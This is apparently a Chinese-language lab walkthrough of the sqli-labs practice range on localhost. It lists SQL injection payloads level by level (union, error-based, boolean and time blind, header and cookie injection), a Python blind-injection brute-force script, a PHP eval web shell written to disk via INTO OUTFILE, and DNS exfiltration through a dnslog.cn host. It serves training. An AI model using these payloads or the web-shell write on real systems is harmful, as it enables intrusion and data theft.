网址后面接
?id=1
?id=1' and 1=1--+
将1=1换成1=2,发现没有报错,但不显示信息,说明可以使用字符注入
之后
使用order by,从1开始逐渐递增,报错时停止。
?id=1' order by 1--+
我们地址后输入
?id=0' union select 1,2,3--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+
http://127.0.0.1/sqli-labs-master/less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
http://127.0.0.1/sqli-labs-master/less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(username) from security.users--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(password) from security.users--+
?id=1 and 1=1--+
地址后接
?id=1 order by 1--+
与less1大致相同
与less1大致相同
与less1大致相同
我们查看一下该关卡的源代码可以看到
这就需要我们注入的时候闭合掉括号
?id=1') and 1=1 --+
在查询其他信息的时候记住
id后面加上’)再添加相应的语句查询
步骤同上
将接在id的值的后面的')
换成"
http://127.0.0.1/sqli-labs-master/Less-4/?id=1" and 1=2--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=1--+
发现显示
显示了报错信息,再查看下源代码确定下~
问题不大,也就是说如果查询语句执行正确,我们会看到
这里贴一个用来爆破数据库名长度和具体名称的python脚本,测试url也就是靶场的第五关,原理也就是布尔盲注的原理
import requests
def database_len():
global aa
for i in range(1, 10):
url = '''http://127.0.0.1/sqli-labs-master/Less-5/index.php'''
payload = '''?id=1' and length(database())>%s''' % i
# print(url+payload+'%23')
r = requests.get(url + payload + '%23')
if 'You are in' in r.text:
print(i)
continue
else:
# print('false')
print('database_length:', i)
aa = i
break
def database_name():
global aa
name = ''
for j in range(1, aa+1):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-5/index.php?id=1' and substr(database(),%d,1)='%s'" % (j, i)
# print(url+'%23')
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
print(name)
break
print('database_name:', name)
if __name__ == "__main__":
aa = 0
database_len()
database_name()
因为注入点有报错信息,所以也可以使用报错注入
url后面接:
?id=-1'and(select updatexml(1,concat(0x7E,(select database()),0x7E),1)) --+
用于判断数据库名的长度的语句
http://localhost/sqli-labs-master/Less-5/?id=1' and if(length(database())=8,sleep(5),sleep(1))--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1" and 1=1--+
http://localhost/sqli-labs-master/Less-7/?id=1'))--+
url后当order by 后的数字等于4时开始报错,所以列数为3
?id=1')) order by 4--+
http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php eval($_REQUEST[a]); ?>',3 into outfile 'D://1.php'--+
http://localhost/sqli-labs-master/Less-8/?id=1' and 1=1--+
在判断列数的时候,输入4,错误无回显
http://localhost/sqli-labs-master/Less-8/?id=1' order by 4--+
所以报错注入就不适用,可以使用布尔注入和时间注入。具体可看less5
同时,该题也可用dns回显注入(当目标无显示位也无错误回显时便可使用此方法)
我们用这个网址
http://www.dnslog.cn/
1mdsdg.dnslog.cn
于是我们可以构造payload
http://localhost/sqli-labs-master/Less-8/?id=1' and load_file(concat("\\\\",(database()),".2asf57f.dnslog.cn\\1.txt")) --+
http://localhost/sqli-labs-master/Less-9/?id=1' and 1=1 --+
测试后发现,错误语句页面也不变。则可以使用时间盲注,当然同样可以使用DNS回显
我们首先尝试Username 为admin'#
,密码随便输入,成功进入
然后还可以在Usename处
admin' order by 3 #
我们在Usename里输入
as' union select 1,2#
发现选择3时会报错,所以数据的显示就是第一列和第二列
同less1类似,插入在Usename中
当然,此时也可以使用报错注入
Usename中输入,password随便填写
sa' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1)#
同less11类似,不同的是闭合的符号有些不一样
Usename中变为此形式即可
a")
admin') and extractvalue(1,concat(0x7e,(select database()))) #
然后还可以使用时间盲注
admin" and extractvalue(1,concat(0x7e,(select database())))#
ads' or 1=1#
在Usename中插入时间盲注语句,简单判断一下数据库的长度
ads' and if(length(database())=8,sleep(5),sleep(1))#
ads" or 1=1#
我们再查看一下源代码
可以知道uname参数会被一个函数check_input()包裹
我们尝试寻找函数具体语句
可以看到使用了get_magic_quotes_gpc()进行过滤。
但是这都是针对Usename的,password没有任何限制。那么我们可以在password进行报错注入
我们在Usename中输入admin
password中输入:
admin' and updatexml(1,concat(0x7e,version(),0x7e),1) --+
我们直接输入正确的账号和密码试试
可以看到出现有User Agent回显,所以我们可以抓包,然后再修改User Agent,在其插入SQL语句
'and updatexml(1,concat(0x7e, database(),0x7e),1) and '1'='1
老规矩,我们用正确的账户测试一下回显的位置
发现出现了Referer,我们尝试抓包,再修改Referer,语句和上一关一样,只是修改的位置不同。
'and updatexml(1,concat(0x7e, database(),0x7e),1) and '1'='1
我们输入了正确的账户之后,出现了很多回显。我们再抓登陆的包看一下
那我们尝试将最后一行行删除,然后修添加cookie
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
同样,我们首先输入正确的账户信息登陆来查看回显
发现uname的值变成了大小写英文加数字的组合,显然是进行了编码
这里是base64编码
我们抓包试试,然后重复上一关的操作来添加cookie
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1
我们查看一下源代码
发现本关中将注释符给替换了。SQL语句中我们可以看出这里是单引号字符型注入。
我们构造SQL语句
?id=1'union select 1,2,3 and '1'='1
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata where 1 and '1'='1